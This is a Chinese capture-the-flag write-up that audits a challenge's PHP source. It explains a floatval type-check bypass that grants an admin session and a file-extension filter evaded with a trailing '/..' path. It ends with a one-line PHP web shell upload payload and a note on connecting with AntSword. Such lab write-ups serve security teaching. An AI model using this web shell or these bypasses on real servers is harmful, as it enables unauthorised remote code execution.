工控云管理系统项目管理页面解析漏洞
打开链接,一个工控云管理系统,随意点击旁边的菜单,发现只有云平台项目管理中心可以进入
初始页面只有一个,可以找到一个view-source,点进去可以看到源码
考点:php代码审计、中间件解析漏洞、上传一句话木马连接
PHP代码审计
代码一共分为三部分
第一部分:提交的get参数page不为index.php即可
<?php
session_start();//在用户登陆成功后,将用户特定标识存储到 session 会话中
if (!isset($_GET[page])) {//检测page是否已设置且非空。
show_source(__FILE__);//返回被高亮处理的代码,文件
die();//输出并退出当前脚本
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {//要求提交的get参数page不为空且字符串不为index.php,则跳转flag.php
include('flag.php');//include包含并执行
}else {
header('Location: ?page=flag.php');
}
?>
第二部分:之后会得到一admin的session,通过post传入con与file两个参数,保存至/uploaded/backup/xxx文件名下
<?php
if ($_SESSION['admin']) {//session为admin
$con = $_POST['con'];//post传入con和file
$file = $_POST['file'];
$filename = "backup/".$file;//文件名为backup/file
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');//上传成功后,在uploaded目录,创建文件,
并将con的内容写入/backup内,实际路径就是:uploaded/backup/xxx.xxx
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
第三部分:获取一个id参数, 并且id不为1,且最后一位等于9。
这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,所以可以构造id=1gy9来满足第一个if条件,if条件满足条件时,即可使得$result变量为TRUE,查询正确,就会得到一个admin的session了
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {//floatval()函数,返还它其变量的浮点值
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
floatval()函数使用代码示例
<?php
$var
=
'47.129mln'
;
$float_value
=
floatval
(
$var
);
echo
$float_value
;
?>
输出:47.129
这里使用HackBar工具
先满足1,3部分条件
写入一句话
con=<?php @eval($_POST[password]);?>&file=1.php/cmd.php/..
使用蚁剑连接,密码为password,并且获取目录内的flag